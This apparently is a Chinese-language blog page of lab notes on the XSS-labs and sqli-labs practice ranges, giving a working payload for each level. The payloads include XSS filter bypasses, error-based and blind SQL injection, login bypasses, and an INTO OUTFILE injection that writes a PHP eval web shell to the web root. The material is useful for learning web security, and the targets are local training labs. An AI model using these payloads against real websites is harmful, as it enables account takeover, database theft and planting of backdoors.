标签 靶场 下的文章

XSS-labs靶场记录LV11 ~ LV20


LV11 无文本框,查看参数,发现多了个t_ref,为refer,那么用refer头注入,hackbar,add referer头,成功弹窗

payload:" type="text" onmouseover="alert(/Aatrox/)"

LV12 无文本框,查看参数,多了个t_ua,为user-agent的XSS注入,hackbar,add user-agent,成功弹窗

payload:" type="text" onmouseover="alert(/Aatrox/)"

LV13 无文本框,查看参数,多了个t_cook,为cookie的XSS注入,hackbar,add cookies

查看响应头,得到cookie的参数user=... 那么构造payload 成功弹窗

payload:user=" type="text" onclick="alert(1)"

LV14  exif xss,一般利用于文件上传的地方,最经典的就是头像上传,上传一个图片,该图片的exif元数据被修改为xss payload,成功利用弹窗

具体实现使用kali下的exiftool工具

命令如下:

exiftool -FIELD=XSS FILE

exiftool -Artist=’ “><img src=1 onerror=alert(document.domain)>’ brute.jpeg

LV15   根据返回的源代码判断出变量src存在XSS注入。ng-include,那么直接调用level1中的script即可,

跨域了。

payload:level15.php?src='level1.php?name=<img src=x onerror=alert(1)>'

image.png

LV16   发现src,反斜杠/,还有空格进行了替换,使用%0A(回车符)进行弹窗。

payload:<img%0Asrc=""type="text"%0Aonerror=alert(1)>

LV17 首先查看响应,发现swf,swf是flash文件,参数arg=a,arg=b存在XSS注入,将b换成onmouseover=alert(1),

换个显示flash的浏览器成功弹窗。

payload:arg01=a&arg02=%20onmouseover=alert(1)

LV18 同上,不过对引号进行了过滤。


XSS-labs靶场记录LV1 ~ LV10


lv1 直接弹窗

payload:<script>alert(1)</script>

lv2 闭合input,弹窗

payload:test"/><script>alert(1)</script>

lv3 发现双引号"逃逸不出来inptu,于是尝试单引号'发生改变,然而还是逃逸不出来,只好使用javascrpt:alert(1),由于有文本框,直接用onclick。

payload:dsadsa' onclick='javascript:alert(1)

lv4 尝试逃逸Inptu失败,且尖括号被过滤,尝试直接闭合“”“”后文本框弹窗

payload:adsadsa" onclick="alert(1)

lv5 规则测试后,发现script\on,大小写被过滤,注意到尖括号已经超出边界,那么使用标签+javascript绕过。

image.png

payload:test"/><a href="javascript:alert(1)" />

lv6 用lv5的payload时,发现href被分割过滤,采用大小写替换,成功弹窗。

image.png

payload:test"/><a hReF="javascript:alert(1)" />

lv7 用之前的payload失效且无用,发现on/script直接被replace成空,那么采用双写关键字绕过。

image.png

payload:test" oonnclick="java:alert(1)
LV8 添加友情链接,尝试<a src="javascript:alert(1)" />发现问题后采取utf-8编码绕过。

image.png

utf-8编码尝试绕过。

image.png

payload:&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

#javascript:alert(1)

LV9 链接不合法,那么用编码弹窗+合法链接触发弹窗。

image.png

payload:&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;//http://www.baidu.com

image.png

LV 10 无文本框那么直接在url搜索,发现隐藏表单的参数有:t_link,t_history,t_sort,那么构造表单为:&t_sort=1'时有参数传入,如下,那么给该参数制造一个文本框,利用其触发弹窗。

image.png

payload:well done!&t_sort=1" type="text" onmouseover="alert(1)"



sqli-labs靶场记录


level 1 单引号注入  表现在单引号 然后and 1=1 and 1=2    搞定。

payload:?id=1'(单引号)


level 2 数值型注入  表现在id=1 与id=2-1相同 然后说明是数值型注入,然后需要查看有没有显示位置,所以需要制造一个不存在的ID值如8888 得到显示位为2,3,然后
database() -》  user() ->root@localhost等    搞定。

payload:?id=2-1   ==>  ?id=1


level 3 引号字符型注入  表现在'不正常 但是') 又正常。  搞定。

payload:?id=1')时  and 1=1 --+ 与and 1=2 --+差异回显。


level 4 引号字符型注入   "  |  ")    搞定。

payload:?id=1")时  and 1=1 --+ 与and 1=2 --+差异回显。


level 5,6    无报错显示位置  三种报错函数:   无报错位置 需要制造报错函数

http://127.0.0.1/sqli-labs/Less-5/?id=1444%27%20and%20(select%201%20from%20(select%20count(*),concat(((select%20concat(schema_name,%27;%27)%20from%20information_schema.schemata%20limit%200,1)),floor%20(rand(0)*2))x%20from%20information_schema.schemata%20group%20by%20x)a)%20--+   #爆数据库


and (select 1 from (select count(*),concat(((select concat(table_name,';') from information_schema.tables where table_schema='security' limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+


龟速..,    0为起始位置,1为跨度

and updatexml(1,payload,1)

and extractvalue(1, payload)

LV 7往外写文件..  需要 知道一个绝对路径  导入:   已搞定

http://127.0.0.1/sqli-labs/Less-7/?id=122%27))%20union%20select%201,2,3%20into%20outfile%20%22E:\\hi.txt%22--+


   #先在数据库里show variables like '%secure%';查看是否NULL,为NULL要成功写入必须要先在mysql.ini里加入secure_file_priv=

  • secure_file_priv为null    表示不允许导入导出

  • secure_file_priv指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹

  • secure_file_priv没有设置时,则表示没有任何限制

Payload:?id=1')) union select 1,'2','<?php @eval($_POST["xx"]);?>' into outfile 'D:\\phpStudy\\PHPTutorial\\WWW\\sqli-labs-master\\xiaoha2i.php' %23


导出:

Payload:id=(('1')) union select 1,load_file ('D:\\phpStudy\\PHPTutorial\\WWW\\sqli-labs-master\\xiaoha2i.php'),'3' #'))


lv8 布尔盲注  根据返回是否正确来判断。。 

http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and%20LENGTH(database())%20%3E=%207%20%23  #数据库长度   ->  判断  ascii ->得到库名security


LV9 -LV10跳过。单双引号 
LV11  post型注入:   单引号注入

1.a' or '1'='1
2.admin' -- 
3.a'or 1=1 #

LV12 双引号注入
admin ") or 1=1 --   双引号注入。
或admin ") or 1=1 #

LV13   单引号变形  #封闭()
admin')or '1'='1'#

LV14  双引号变形 #封闭()
admin" or "1"="1

LV15 LV16 布尔盲注先跳过。
LV17  基于xml参数更新注入,

可以在mysql里练习 select concat(0x5e24,(select @@port),0x5e24);


a’ and updatexml(1,concat(0x5e24,(select <span id="kM0.17083351063526164">@<span id="kM0.5735300782977382">@port)</span></span>,0x5e24),1)# 无效语句。。

uname=admin&passwd=1' and (updatexml(1,concat(0x5c,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x5c),1))#submit=submit 他娘的还得在本机才成功。

LV18  日了你的仙人板板 一直不出现user-agent: 重装后好了。。
'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '